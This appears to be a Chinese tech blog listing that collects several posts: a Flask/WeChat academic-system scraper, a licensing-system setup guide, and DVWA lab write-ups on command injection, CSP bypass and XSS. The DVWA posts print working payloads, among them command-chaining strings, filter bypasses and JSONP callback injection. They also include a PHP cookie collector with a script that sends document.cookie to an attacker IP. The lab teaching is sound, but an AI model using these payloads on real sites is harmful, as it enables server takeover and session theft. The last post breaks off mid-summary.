最新发布
-
微信小程序+Flask教务系统开源:青果教务系统登录与数据获取实战 微信小程序+Flask教务系统开源:青果教务系统登录与数据获取实战 基于原生微信小程序和Flask开发的教务查询系统,支持课程表、成绩查询等功能📚 项目概述 本项目是一个基于微信小程序(前端)和Flask(后端)开发的教务系统查询工具,专门针对青果教务系统进行了适配开发。虽然项目功能尚未完全完善,但提供了完整的青果教务系统登录思路和数据获取方案,适合开发者学习和二次开发。 图片演示 t1.jpg图片 t2.jpg图片 t3.jpg图片 t4.jpg图片 t5.jpg图片 下载链接:隐藏内容,请前往内页查看详情 🏗️ 技术架构 前端技术栈 微信小程序原生开发:使用WXML、WXSS、JavaScript UI组件:自定义组件和基础组件结合 网络请求:wx.request API与后端交互 后端技术栈 Flask框架:轻量级Python Web框架 数据库:MySQL,支持自动建表 请求处理:requests库处理教务系统请求 会话管理:Flask-Session管理用户状态 🚀 快速开始 环境要求 后端环境: Python 3.7+ Flask 2.0+ MySQL 5.7+ PyCharm(推荐开发工具) 前端环境: 微信开发者工具 小程序AppID 安装部署步骤 1. 后端部署 # 克隆或下载项目 # 进入后端目录 cd back # 创建虚拟环境(推荐) python -m venv venv source venv/bin/activate # Linux/Mac # 或 venv\Scripts\activate # Windows # 安装依赖 pip install -r requirements.txt # 如果没有requirements.txt,手动安装主要依赖 pip install flask flask-cors flask-session requests pymysql2. 数据库配置 # 修改app.py中的数据库配置 app.config['SQLALCHEMY_DATABASE_URI'] = 'mysql+pymysql://username:password@localhost:3306/education_system' app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False3. 启动后端服务 # 在PyCharm中直接运行app.py # 或在终端执行 python app.py # 服务默认运行在 http://127.0.0.1:50004. 前端配置 打开微信开发者工具 导入小程序项目 修改app.js中的API地址 // 修改API基础地址 const baseUrl = 'http://localhost:5000'; 🔐 青果教务系统登录思路 核心登录流程 # Flask后端登录处理示例 @app.route('/api/login', methods=['POST']) def login(): try: # 获取前端传递的学号和密码 student_id = request.json.get('student_id') password = request.json.get('password') # 青果教务系统登录步骤 # 1. 获取登录页面,提取隐藏参数 session = requests.Session() login_page = session.get(LOGIN_URL) hidden_params = extract_hidden_params(login_page.text) # 2. 构造登录请求数据 login_data = { '__VIEWSTATE': hidden_params['viewstate'], 'txtUserName': student_id, 'TextBox2': password, 'RadioButtonList1': '学生', 'Button1': '' } # 3. 提交登录请求 response = session.post(LOGIN_URL, data=login_data) # 4. 验证登录是否成功 if check_login_success(response.text): # 保存session供后续请求使用 save_user_session(student_id, session) return jsonify({'success': True, 'message': '登录成功'}) else: return jsonify({'success': False, 'message': '登录失败'}) except Exception as e: return jsonify({'success': False, 'message': str(e)})数据获取示例 # 获取课程表示例 def get_course_schedule(session, semester): """获取指定学期的课程表""" course_url = f'{BASE_URL}/xskbcx.aspx?xh={student_id}&xm={name}&gnbm=Dlxsckb' # 设置请求参数 data = { '__EVENTTARGET': 'xqd', '__EVENTARGUMENT': '', 'xqd': semester } response = session.post(course_url, data=data) courses = parse_course_table(response.text) return courses # 解析课程表HTML def parse_course_table(html): """解析课程表页面""" courses = [] soup = BeautifulSoup(html, 'html.parser') table = soup.find('table', {'id': 'Table1'}) # 解析表格数据 for row in table.find_all('tr')[1:]: cells = row.find_all('td') if len(cells) > 1: course = { 'time': cells[0].text.strip(), 'monday': cells[1].text.strip(), 'tuesday': cells[2].text.strip(), # ... 其他天数 } courses.append(course) return courses🛠️ 项目结构 教务系统/ ├── back/ # Flask后端 │ ├── app.py # 主应用文件 │ ├── config.py # 配置文件 │ ├── models.py # 数据模型 │ ├── utils/ # 工具类 │ │ ├── qingguo.py # 青果教务系统处理 │ │ └── database.py # 数据库操作 │ └── requirements.txt # 依赖列表 │ ├── front/ # 微信小程序前端 │ ├── pages/ # 页面文件 │ │ ├── index/ # 首页 │ │ ├── schedule/ # 课程表 │ │ └── grades/ # 成绩查询 │ ├── components/ # 自定义组件 │ ├── utils/ # 工具函数 │ └── app.js # 小程序入口 │ └── README.md # 说明文档💡 功能模块 已实现功能 ✅ 青果教务系统登录 ✅ 课程表查询 ✅ 成绩查询 ✅ 用户会话管理 ✅ 基础数据库操作 待完善功能 🔲 考试安排查询 🔲 空教室查询 🔲 个人信息管理 🔲 成绩统计分析 🔲 课表导出功能 🎨 前端界面优化建议 WXML结构优化 <!-- 课程表页面示例 --> <view class="schedule-container"> <view class="week-selector"> <picker range="{{semesters}}" value="{{semesterIndex}}" bindchange="changeSemester"> <view class="picker">当前学期:{{semesters[semesterIndex]}}</view> </picker> </view> <scroll-view scroll-y class="schedule-table"> <view class="table-row" wx:for="{{courseTable}}" wx:key="index"> <view class="time-cell">{{item.time}}</view> <view class="course-cell" wx:for="{{item.courses}}" wx:key="day"> <text class="course-name">{{item.course}}</text> <text class="course-location">{{item.location}}</text> </view> </view> </scroll-view> </view>WXSS样式优化 /* 现代样式设计 */ .schedule-container { padding: 20rpx; background: #f5f5f5; } .table-row { display: flex; margin-bottom: 10rpx; background: #fff; border-radius: 12rpx; box-shadow: 0 2rpx 8rpx rgba(0,0,0,0.1); } .time-cell { width: 120rpx; padding: 20rpx; background: #4a90e2; color: white; text-align: center; } .course-cell { flex: 1; padding: 20rpx; border-left: 1rpx solid #eee; }🔧 常见问题解决 1. 登录失败问题 # 检查青果教务系统页面结构是否变化 def check_login_success(html): """检查登录是否成功""" if "用户名或密码错误" in html: return False elif "欢迎您" in html: return True # 可能需要根据实际情况调整检测逻辑 return False2. Session维护问题 # 使用Flask-Session管理用户会话 from flask_session import Session app = Flask(__name__) app.config['SECRET_KEY'] = 'your-secret-key' app.config['SESSION_TYPE'] = 'filesystem' Session(app)3. 跨域问题处理 # 添加CORS支持 from flask_cors import CORS CORS(app, supports_credentials=True, resources={r"/api/*": {"origins": "*"}})🔒 安全建议 代码保护建议 虽然本项目使用Python开发,但对于PHP开发者,推荐使用: PHP代码加密平台 提供: 多种加密方式:Sg16、Deck3、Ic12等版本 灵活的方案:支持goto、enphp、noname等加密方式 完全免费:全站免费使用 易于使用:轻松保护代码安全 安全最佳实践 使用HTTPS:生产环境务必启用HTTPS 参数验证:对所有输入参数进行严格验证 错误处理:避免向用户暴露敏感错误信息 定期更新:保持依赖库的最新版本 🎓 学习价值 这个项目对于学习者来说具有很高的价值: 微信小程序开发:学习原生小程序开发技术 Flask后端开发:掌握Python Web开发技能 网络爬虫技术:了解如何与教务系统交互 前后端分离:实践前后端分离架构设计 项目实战经验:积累完整的项目开发经验 💭 结语 这个青果教务系统查询工具虽然界面相对简单,但提供了完整的登录思路和技术实现方案。对于想要学习微信小程序开发和Flask后端的开发者来说,这是一个很好的学习项目。 项目特点: 🎯 专为青果教务系统定制 🔐 完整的登录认证方案 📱 微信小程序前端 🐍 Flask后端API 🗃️ MySQL数据存储 使用建议: 先在后端调试登录功能 逐步完善各个查询模块 优化前端用户体验 添加错误处理和加载状态 考虑数据缓存机制 如果在使用过程中遇到任何问题,欢迎在评论区留言讨论!我会尽力帮助大家解决遇到的问题。 温馨提示:请仅将本项目用于学习目的,遵守学校相关规定,尊重教务系统的使用条款。 -
数哈多应用授权系统:让知识产权商业授权管理更高效 数哈多应用授权系统 开发的目的: 为软件开发者提供知识产权商业授权管理,实现授权创建、校验及订单对接,保护知识产权,规范授权流程 面向领域 / 行业: 面向软件开发者、数字内容创作者及各行业企业,适用于各类数字产品及服务的知识产权商业授权管理领域 软件的主要功能: 支持域名、机器人、IP 等多类型授权创建、校验及过期管理;提供用户与管理员分级管理,包含注册、登录、信息维护功能;对接支付系统,实现订单创建、定时监控支付通知及状态同步;具备授权记录查询、统计及版本管理功能,规范知识产权商业授权流程。 软件的技术特点: 基于 Go 语言 Gin 框架开发,以 JWT 认证与加密存储保障安全,支持域名、机器人、IP 等多类型授权校验。通过数据库事务与定时任务确保订单及授权状态一致,集成第三方支付并验签,模块化适配多场景 搭建教程 分为前端,后端教程 后端搭建教程 步骤一 先在数哈多应用授权系统官网,获取系统官方授权并下载系统源码 然后把压缩包解压之后会有两个压缩包分别是前端,后端 步骤二 然后提前解析两个域名: 后端接口比如用前缀为api的二级域名 前端页面比如使用前缀auth的二级域名 列如: 前端页面:auth.beihaiyun.com 后端接口:api.beihaiyun.com 步骤三 安装宝塔运维面板,然后点击“文件”新建一个项目文件夹“auth”,文件夹名字可随意 上传“后端.zip”文件到新建的这个文件夹里,并解压 1.png图片 步骤四 创建数据库,数据库用户名密码信息自定义 3.png图片 上传数据文件“auth.sql”并成功导入数据 6.png图片 然后回到项目文件夹“auth”,打开“config.yaml”文件并修改配置信息 4.png图片 项目启动端口配置 默认启动端口为8080 # 系统配置 port: 8080数据库配置 # MySQL配置 username: "数据库用户名" password: "数据密码" hostname: "数据库名"授权信息配置 # 授权配置 auth: authCode: "授权码" # 替换为你的实际授权码 serverIp: "授权服务器IP" # 替换为服务器实际IP(需与授权的IP一致)步骤五 新建Go项目,添加后端接口网站 2.png图片 添加完毕之后会自动执行启动项目 7.png图片 接着访问后端接口文档 后端接口域名/doc/index.html12.png图片 像这样后端接口成功搭建完毕了 启动失败原因: 如果没导入数据或者没有获取官方授权的会启动失败。 如果这些都已经操作,还是启动不了,那有可能是8080端口被占用了,尝试修改成其他端口再启动。 前端搭建教程 步骤一 新建PHP项目,创建前端网站 8.png图片 步骤二 打开前端项目文件夹,然后上传“前端.zip”文件并解压 9.png图片 步骤三 双击打开“config.js”文件,修改接口地址 修改下面这里 baseApi: 'http://127.0.0.1:8080/api'改成后端接口网址 比如我这样 baseApi: 'http://api.beihaiyun.com/api'10.png图片 访问前端网址 11.png图片 前端后台管理界面为: 前端域名/admin 默认账号为admin 默认密码为12345613.png图片 14.png图片 -
DVWA靶场Command Injection详解:从漏洞利用到安全防御 DVWA靶场Command Injection详解:从漏洞利用到安全防御 1 命令注入漏洞概述 命令注入(Command Injection)是Web安全领域中极其危险的高危漏洞。它发生在应用程序将用户可控制的数据未经过充分净化便直接拼接传递给系统命令解释器(如Shell、CMD)执行时。攻击者借此能注入恶意命令,直接操控服务器操作系统,其后果往往是灾难性的——从敏感数据窃取、服务器完全沦陷,到作为跳板攻击内网其他系统。 1.1 命令注入的原理 命令注入的核心风险在于:程序将用户可控输入直接拼接为系统命令并执行,且未做严格过滤。当Web应用程序使用外部程序或系统命令处理数据,并将用户输入作为参数的一部分传递给这些命令时,如果输入没有得到适当的验证和清理,攻击者就可以通过注入特殊字符(如|、&、;等)来执行任意系统命令。 1.2 命令注入的危害 成功利用命令注入漏洞可能导致: 服务器被完全控制:攻击者可以执行任意系统命令,获取系统敏感信息,甚至完全接管服务器。 数据泄露:读取系统上的敏感文件,如配置文件、用户数据库等。 内网渗透:以受攻击服务器为跳板,进一步攻击内网其他系统。 服务中断:执行删除文件、停止服务等破坏性操作。 法律风险:可能导致数据泄露事件,违反数据保护法规。 2 DVWA环境搭建 DVWA(Damn Vulnerable Web Application)是一个专门用于安全练习的PHP/MySQL Web应用程序。要搭建DVWA环境,您需要: 从官网下载DVWA安装包 解压到Web服务器目录(如Apache的htdocs目录) 配置数据库连接(config/config.inc.php) 在浏览器中访问DVWA,创建数据库 登录(默认用户名/密码:admin/password) DVWA提供了四个安全级别,从完全无防护到近乎完美防护: Low:无任何防护措施 Medium:基础防护(如转义特殊字符) High:较强防护(如限制输入类型) Impossible:近乎完美的防护 3 Low级别漏洞利用 3.1 漏洞分析 Low级别的源码完全没有进行任何过滤,直接拼接用户输入到系统命令中: if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec('ping ' . $target); } else { $cmd = shell_exec('ping -c 4 ' . $target); }3.2 利用方法 由于没有任何过滤措施,攻击者可以直接使用命令连接符注入额外命令: Windows和Linux系统都可以用&&来执行多条命令: 192.168.1.1 && whoami 其他有效Payload: 127.0.0.1 | whoami # 只执行第二个命令 127.0.0.1 & whoami # 先执行第二个命令后执行第一个命令 127.0.0.1000 || whoami # 第一个命令失败时执行第二个命令 127.0.0.1 && whoami # 第一个命令成功则执行第二个命令11.png图片 3.3 漏洞复现 在输入框中输入127.0.0.1 && ipconfig 提交后,系统会先ping 127.0.0.1,然后执行ipconfig命令 页面会显示ping的结果和ipconfig命令的输出 4 Medium级别漏洞利用 4.1 漏洞分析 Medium级别尝试使用黑名单机制过滤部分特殊字符: $substitutions = array( '&&' => '', ';' => '', ); $target = str_replace(array_keys($substitutions), $substitutions, $target);4.2 绕过技巧 虽然过滤了&&和;,但攻击者可以使用其他连接符绕过: 使用&代替&&: 127.0.0.1 & ipconfig 使用|或||: 127.0.0.1 | ipconfig 127.0.0.1000 || ipconfig 利用黑名单只过滤一次的特性(双写绕过): 127.0.0.1 &;& ipconfig经过过滤后,&;&中的;被移除,剩下的&&可以执行。 4.3 漏洞复现 在输入框中输入127.0.0.1 & ipconfig 提交后,系统会执行ping和ipconfig两个命令 页面会显示两个命令的执行结果 5 High级别漏洞利用 5.1 漏洞分析 High级别采用了更严格的黑名单: $substitutions = array( '&' => '', ';' => '', '| ' => '', // 注意:这里过滤的是"| "(管道符加空格) '-' => '', '$' => '', '(' => '', ')' => '', '`' => '', '||' => '', );5.2 绕过技巧 仔细观察可以发现,黑名单中的| (管道符后加空格)有一个空格,但并没有过滤单独的|符号。因此可以使用: 127.0.0.1|ipconfig注意:连接符左右是否有空格有时会有意想不到的效果。 5.3 漏洞复现 在输入框中输入127.0.0.1|ipconfig 提交后,系统会执行ipconfig命令(ping命令的输出作为ipconfig的输入) 页面会显示ipconfig命令的执行结果 6 Impossible级别防护分析 Impossible级别提供了近乎完美的防护: // 验证Anti-CSRF令牌,防止跨站请求伪造攻击 checkToken($_REQUEST['user_token'], $_SESSION['session_token'], 'index.php'); // 将IP地址分割为四个八位组 $octet = explode(".", $target); // 检查每个八位组是否为数字且只有四个数组 if ((is_numeric($octet[0])) && (is_numeric($octet[1])) && (is_numeric($octet[2])) && (is_numeric($octet[3])) && (sizeof($octet) == 4)) { // 如果所有4个八位组都是数字,则将IP重新组合 $target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3]; // 执行ping命令 if (stristr(php_uname('s'), 'Windows NT')) { $cmd = shell_exec('ping ' . $target); } else { $cmd = shell_exec('ping -c 4 ' . $target); } }6.1 防护要点 使用白名单验证:只接受符合IP地址格式(num.num.num.num)的输入 Anti-CSRF令牌:防止跨站请求伪造攻击 参数化执行:不直接拼接用户输入,而是先验证再重组 类型检查:使用is_numeric()确保每个八位组都是数字 7 命令注入的防御方案 根据DVWA四个级别的防护措施,我们可以总结出以下有效的命令注入防御方案: 7.1 输入验证与过滤 白名单验证:只允许符合预期格式的数据(如IP地址应为num.num.num.num) 强类型验证:预期为数字则只允许数字字符 过滤特殊字符:对可能用于命令注入的特殊字符进行过滤或转义 7.2 安全编程实践 避免直接执行系统命令:使用自定义函数或函数库来替代外部命令的功能 使用安全API:如使用PHP的escapeshellarg()函数处理命令参数 参数化调用:使用参数数组而不是字符串拼接 7.3 系统加固 最小权限原则:运行应用程序的操作系统进程必须配置最小权限原则,绝不使用root或Administrator等高权限账户 禁用危险函数:在php.ini中禁用system()、exec()、shell_exec()等危险函数 使用安全模式:配置PHP的安全模式和安全目录 7.4 其他防护措施 WAF防护:使用Web应用防火墙检测和阻止命令注入尝试 定期安全审计:定期进行代码审查和安全测试 安全编码培训:提高开发人员的安全意识和技术能力 8 自动化检测工具 命令注入漏洞可以通过多种工具进行自动化检测: SQLmap:虽然主要用于SQL注入,但也包含一些命令注入检测功能 Burp Suite:使用Intruder模块进行模糊测试和命令注入检测 OWASP ZAP:主动和被动扫描命令注入漏洞 自定义脚本:编写自定义脚本测试各种命令注入payload 9 总结 通过DVWA的Command Injection模块,我们可以深入理解命令注入漏洞的原理、利用技巧和防御方法: 命令注入是非常危险的漏洞,可以直接导致服务器被完全控制 黑名单过滤很容易被绕过,应采用白名单验证 不要直接拼接用户输入到系统命令中,应使用参数化调用或安全API 多层防御是最有效的:结合输入验证、安全编程和系统加固 最重要的是:在实际开发中,应该尽量避免执行系统命令,如果必须执行,应使用安全的API(如PHP的escapeshellarg()和escapeshellcmd()函数)并对输入进行严格验证。 免责声明:本文仅用于教育目的和安全研究,请勿用于非法用途。对于任何滥用本文所述技术的行为,作者不承担任何责任。10 参考资料 DVWA官方文档 OWASP命令注入防护指南 PHP安全编程指南 命令注入漏洞检测与防御最佳实践 希望本文能帮助你理解命令注入的原理、利用技巧和防御方法,在今后的开发和测试工作中更好地应用这些知识。记住,安全是一个持续的过程,需要始终保持警惕和学习的态度。 -
DVWA靶场CSP绕过详解:从原理到实战 DVWA靶场CSP绕过详解:从原理到实战 1 CSP安全策略概述 内容安全策略(Content Security Policy,简称CSP)是一种重要的Web安全机制,用于检测和缓解跨站脚本(XSS)和数据注入等攻击。CSP的实质是白名单制度,开发者通过配置告诉浏览器哪些外部资源可以加载和执行,从而减少攻击面。 1.1 CSP的工作原理 CSP通过HTTP响应头或HTML meta标签指定策略规则。当浏览器接收到这些策略后,会只执行或渲染符合策略的资源,违反策略的行为会被阻止并报告。 CSP指令示例: Content-Security-Policy: script-src 'self' https://trusted.com; object-src 'none'; style-src cdn.example.org third-party.org这个策略表示: script-src 'self' https://trusted.com:只允许从同源和https://trusted.com加载脚本 object-src 'none':禁止加载所有插件(如Flash) style-src cdn.example.org third-party.org:只允许从指定域名加载样式表 1.2 启用CSP的两种方法 通过HTTP响应头(最常用): <?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); ?> 通过HTML meta标签: <meta http-equiv="Content-Security-Policy" content="script-src 'self'; object-src 'none'; style-src cdn.example.org third-party.org;"> 2 DVWA环境搭建 DVWA(Damn Vulnerable Web Application)是一个专门用于Web安全练习的PHP/MySQL应用程序。要搭建DVWA环境,您需要: 从官网下载DVWA安装包 解压到Web服务器目录(如Apache的htdocs目录) 配置数据库连接(config/config.inc.php) 在浏览器中访问DVWA,创建数据库 登录(默认用户名/密码:admin/password) DVWA提供了四个安全级别,从完全无防护到近乎完美防护: Low:无任何防护措施 Medium:基础防护(如转义特殊字符) High:较强防护(如限制输入类型) Impossible:近乎完美的防护 3 Low级别绕过详解 3.1 漏洞分析 Low级别的CSP策略允许从多个外部域名加载脚本: <?php $headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com www.toptal.com example.com code.jquery.com https://ssl.google-analytics.com ;"; header($headerCSP); ?>这些被信任的网站中,pastebin.com是一个可以自由创建和分享文本内容的网站,用户可以上传任意JavaScript代码并获取原始链接。 3.2 绕过步骤 访问pastebin.com(或其他白名单中的站点) 创建恶意JavaScript代码: alert("CSP Bypass - Low Level");10.png图片 保存并获取原始链接:点击"Create New Paste"然后获取"raw"链接,如:https://pastebin.com/raw/R570EE00 在DVWA中输入链接:提交后恶意脚本被执行 3.3 安全威胁 攻击者可以将恶意代码存储在受信任的网站上,然后通过钓鱼邮件或社交工程诱导用户访问包含此链接的页面,实现XSS攻击。 4 Medium级别绕过详解 4.1 漏洞分析 Medium级别的CSP策略发生了变化: <?php $headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';"; header($headerCSP); header("X-XSS-Protection: 0"); // 禁用XSS保护 ?>这个策略包含两个关键元素: 'unsafe-inline':允许执行页面内嵌的<script>标签和事件处理程序 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=':仅允许特定的内联脚本块执行 4.2 绕过步骤 直接使用源码中提供的payload即可绕过: <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert("CSP Bypass - Medium Level");</script>4.3 安全威胁 nonce值的不当使用使得攻击者可以轻松绕过保护。nonce值应该是每次请求随机生成的,而不是固定的。固定nonce值相当于给攻击者提供了一把万能钥匙。 5 High级别绕过详解 5.1 漏洞分析 High级别的CSP策略更加严格,只允许同源脚本: <?php $headerCSP = "Content-Scurity-Policy: script-src 'self';"; header($headerCSP); ?>页面通过JSONP(JSON with Padding)技术从外部获取数据: function clickButton() { var s = document.createElement("script"); s.src = "source/jsonp.php?callback=solveSum"; document.body.appendChild(s); } function solveSum(obj) { if ("answer" in obj) { document.getElementById("answer").innerHTML = obj['answer']; } }5.2 JSONP漏洞利用 JSONP接口source/jsonp.php存在漏洞,未对callback参数进行过滤: <?php header("Content-Type: application/json; charset=UTF-8"); if (array_key_exists("callback", $_GET)) { $callback = $_GET['callback']; } else { return ""; } $outp = array("answer" => "15"); echo $callback . "(".json_encode($outp).")"; ?>5.3 绕过步骤 直接修改callback参数: http://<DVWA-IP>/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);// 返回的响应变为: alert(document.cookie);//({"answer":"15"}) 利用XSS漏洞注入恶意请求: d=document; h=d.getElementsByTagName('head').item(0); s=d.createElement('script'); s.setAttribute('src','/vulnerabilities/csp/source/jsonp.php?callback=alert(document.cookie);//'); h.appendChild(s); 5.4 安全威胁 JSONP接口的不安全实现允许攻击者执行任意代码,这是一种常见且危险的安全漏洞,特别是在CSP策略较严格的情况下。 6 Impossible级别防护分析 Impossible级别提供了近乎完美的防护: <?php $headerCSP = "Content-Security-Policy: script-src 'self';"; header($headerCSP); ?> <?php // 页面代码... ?> <script src="source/impossible.js"></script>JSONP接口也被修复,不再使用用户控制的callback参数: <?php header("Content-Type: application/json; charset=UTF-8"); $outp = array("answer" => "15"); echo "solveSum (".json_encode($outp).")"; ?>6.1 防护要点 严格的CSP策略:只允许同源脚本,不包含任何不安全指令 避免使用用户可控的callback参数:服务器端固定函数名 输入验证和输出编码:对所有用户输入进行严格过滤 总结 通过DVWA的CSP绕过实验,我们可以得出以下结论: CSP是一个强大的安全机制,但配置不当会导致被绕过 任何可信域的加入都需要谨慎,特别是允许用户内容的外部域 nonce值必须随机且不可预测,固定nonce值几乎等同于没有保护 JSONP接口需要严格过滤,避免成为绕过CSP的入口点 多层防御是最有效的:CSP应该与其他安全措施(如输入验证、输出编码)结合使用 最重要的是:CSP不是万能的,它只是Web应用安全的一部分。开发者应该采用纵深防御策略,结合多种安全措施,才能构建真正安全的Web应用程序。 免责声明:本文仅用于教育目的和安全研究,请勿用于非法用途。对于任何滥用本文所述技术的行为,作者不承担任何责任。 -
DVWA靶场XSS漏洞全解析:从DOM型、反射型到存储型 DVWA靶场XSS漏洞全解析:从DOM型、反射型到存储型 1 XSS漏洞概述 XSS(Cross-Site Scripting)跨站脚本攻击是Web安全领域最常见的安全漏洞之一。它指的是攻击者向网页中注入恶意脚本(通常为JavaScript),当用户访问包含恶意脚本的页面时,这些脚本会被浏览器自动执行。XSS漏洞的本质是用户输入未被正确过滤或转义,最终被浏览器当作有效代码执行。 1.1 XSS漏洞类型 根据恶意脚本的存储和执行方式,XSS漏洞主要分为三种类型: 反射型XSS(Reflected XSS):恶意脚本通过URL参数传递,服务器在响应中原样返回,需要用户点击恶意链接才能触发。 存储型XSS(Stored XSS):恶意脚本被存储在服务器端(如数据库),当其他用户访问包含该脚本的页面时触发,危害更大。 DOM型XSS(DOM-based XSS):完全在浏览器端发生,不经过服务器处理,通过修改页面的DOM结构来执行恶意脚本。 1.2 XSS漏洞的危害 XSS漏洞可能造成以下严重后果: 窃取用户敏感信息(如Cookie、会话令牌、个人数据) 劫持用户会话,冒充用户执行操作 篡改网页内容,实施钓鱼攻击 传播恶意软件,控制用户浏览器 结合CSRF攻击,执行未授权操作 2 DVWA环境搭建 DVWA(Damn Vulnerable Web Application)是一个专门用于Web安全练习的PHP/MySQL应用程序。要搭建DVWA环境,您需要: 从官网下载DVWA安装包 解压到Web服务器目录(如Apache的htdocs目录) 配置数据库连接(config/config.inc.php) 在浏览器中访问DVWA,创建数据库 使用默认凭据登录(admin/password) DVWA提供了四个安全级别,从完全无防护到近乎完美防护: Low:无任何防护措施 Medium:基础防护(如转义特殊字符) High:较强防护(如限制输入类型) Impossible:近乎完美的防护 3 DOM型XSS漏洞详解 DOM型XSS(DOM Based Cross Site Scripting)是一种基于文档对象模型(Document Object Model)的漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式。 3.1 Low级别 漏洞分析:Low级别的源码完全没有进行任何过滤,用户输入直接被插入到DOM中。 <?php // No protections, anything goes ?>利用过程: 在页面中选择English,点击提交 修改URL中的default参数:http://<DVWA-IP>/vulnerabilities/xss_d/?default=<script>alert('XSS')</script> 7.png图片 页面成功执行脚本,弹出警告框 3.2 Medium级别 漏洞分析:Medium级别尝试过滤<script>标签,但可以通过其他方式绕过。 <?php // 过滤<script标签 if (stripos($default, "<script") !== false) { header("location: ?default=English"); exit; } ?>利用过程: 使用闭合标签和HTML标签的事件处理程序绕过过滤: http://<DVWA-IP>/vulnerabilities/xss_d/?default=</option></select><img src=x onerror=alert("XSS")>或使用SVG标签: http://<DVWA-IP>/vulnerabilities/xss_d/?default=</option></select><svg onload=alert("xss")>3.3 High级别 漏洞分析:High级别使用白名单机制,只允许特定值(French、English、German、Spanish)。 <?php // 白名单机制 switch ($_GET['default']) { case "French": case "English": case "German": case "Spanish": break; default: header("location: ?default=English"); exit; } ?>利用过程:使用URL片段标识(#)绕过服务器端验证,因为#后的内容不会发送到服务器: http://<DVWA-IP>/vulnerabilities/xss_d/?default=English#<script>alert(document.cookie)</script>3.4 Impossible级别 漏洞分析:Impossible级别在客户端对输入进行URL编码,防止恶意脚本执行。 <?php // Don't need to do anything, protection handled on the client side ?>4 反射型XSS漏洞详解 反射型XSS(Reflected Cross Site Scripting)是指恶意脚本作为参数包含在请求URL中,服务器接收后直接在响应中返回,从而在浏览器中执行。 4.1 Low级别 漏洞分析:Low级别没有任何过滤,直接输出用户输入。 <?php if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; } ?>利用过程: 直接输入恶意脚本: <script>alert('XSS')</script>8.png图片 或窃取Cookie: <script>alert(document.cookie)</script>4.2 Medium级别 漏洞分析:Medium级别尝试使用str_replace()函数过滤<script>标签。 <?php $name = str_replace( '<script>', '', $_GET[ 'name' ] ); echo "<pre>Hello ${name}</pre>"; ?>绕过方式: 双写绕过: <sc<script>ript>alert('XSS')</script> 大小写混淆: <ScRipt>alert('XSS')</script> 使用其他标签: <img src=x onerror=alert('XSS')> 4.3 High级别 漏洞分析:High级别使用正则表达式过滤<script>标签,不区分大小写。 <?php $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] ); echo "<pre>Hello ${name}</pre>"; ?>绕过方式:使用非script标签: <img src=x onerror=alert('XSS')>4.4 Impossible级别 漏洞分析:Impossible级别使用htmlspecialchars()函数将特殊字符转换为HTML实体,彻底防止XSS。 <?php $name = htmlspecialchars( $_GET[ 'name' ] ); echo "<pre>Hello ${name}</pre>"; ?>5 存储型XSS漏洞详解 存储型XSS(Stored Cross Site Scripting)是最危险的XSS类型,因为恶意脚本被存储在服务器端,每次用户访问包含该脚本的页面时都会触发。 5.1 存储型XSS的工作原理 攻击者提交恶意脚本:通过输入接口(如表单、评论区)将恶意脚本发送到服务器。 恶意脚本被存储:服务器将包含恶意代码的输入存储在数据库或其他存储介质中。 受害者访问存储数据:当受害者访问包含恶意脚本的页面时,恶意脚本被从数据库中提取并显示。 恶意脚本执行:恶意脚本在受害者浏览器中执行,实施攻击。 5.2 Low级别 漏洞分析:Low级别没有任何过滤,直接存储和显示用户输入。 利用过程: 在留言板中输入恶意脚本: <script>alert('XSS')</script>9.png图片 提交后,每次任何用户访问该页面都会触发弹窗 窃取Cookie的实战利用: 创建接收Cookie的PHP脚本(123.php): <?php $cookie = $_GET['cookie']; $ip = getenv('REMOTE_ADDR'); $time = date('Y-m-d g:i:s'); $fp = fopen('cookie.txt', 'a'); fwrite($fp, "IP: $ip\nTime: $time\nCookie: $cookie\n"); fclose($fp); ?> 在留言板中输入以下脚本: <script> document.write('<img src="http://<攻击者IP>/123.php?cookie=' + document.cookie + '" width=0 height=0 border=0 />'); </script> 当用户访问包含该脚本的页面时,他们的Cookie会被自动发送到攻击者的服务器 5.3 Medium级别 漏洞分析:Medium级别尝试过滤<script>标签,但可以通过双写或大小写混淆绕过。 绕过方式: 双写绕过: <sc<script>ript>alert('XSS')</script> 大小写混淆: <ScRiPt>alert('XSS')</ScRiPt> 使用其他标签: <img src=x onerror=alert('XSS')> 5.4 High级别 漏洞分析:High级别使用正则表达式过滤script标签,需要使用非script标签进行绕过。 利用方式: <img src=x onerror=alert('XSS')>5.5 Impossible级别 漏洞分析:Impossible级别使用htmlspecialchars()函数对输出进行转义,彻底防止XSS漏洞。 6 XSS漏洞防御方案 根据DVWA四个级别的防护措施,我们可以总结出以下有效的XSS防御方案: 6.1 输入验证和过滤 白名单验证:只允许符合预期格式的数据 过滤和清理:去除可能的恶意代码 类型强制转换:确保输入参数符合预期类型 6.2 输出编码 HTML实体编码:使用htmlspecialchars()函数将特殊字符转换为HTML实体 JavaScript编码:当输出到JavaScript代码时,使用适当的编码 URL编码:当输出到URL参数时,使用urlencode()或rawurlencode() 6.3 内容安全策略(CSP) 通过CSP头部限制页面可以加载和执行的资源来源,即使存在XSS漏洞,也能减少其危害。 Content-Security-Policy: default-src 'self'; script-src 'self'6.4 HttpOnly Cookie 设置Cookie的HttpOnly属性,防止JavaScript访问敏感Cookie。 setcookie("sessionid", "12345", time()+3600, "/", "example.com", true, true);6.5 其他防护措施 限制输入长度:减少恶意脚本的注入风险 使用安全API:避免使用innerHTML、document.write()等危险API 定期安全审计:定期进行代码审查和安全测试 7 总结 通过DVWA平台的三个XSS漏洞模块(DOM型、反射型、存储型)的实验,我们可以得出以下结论: 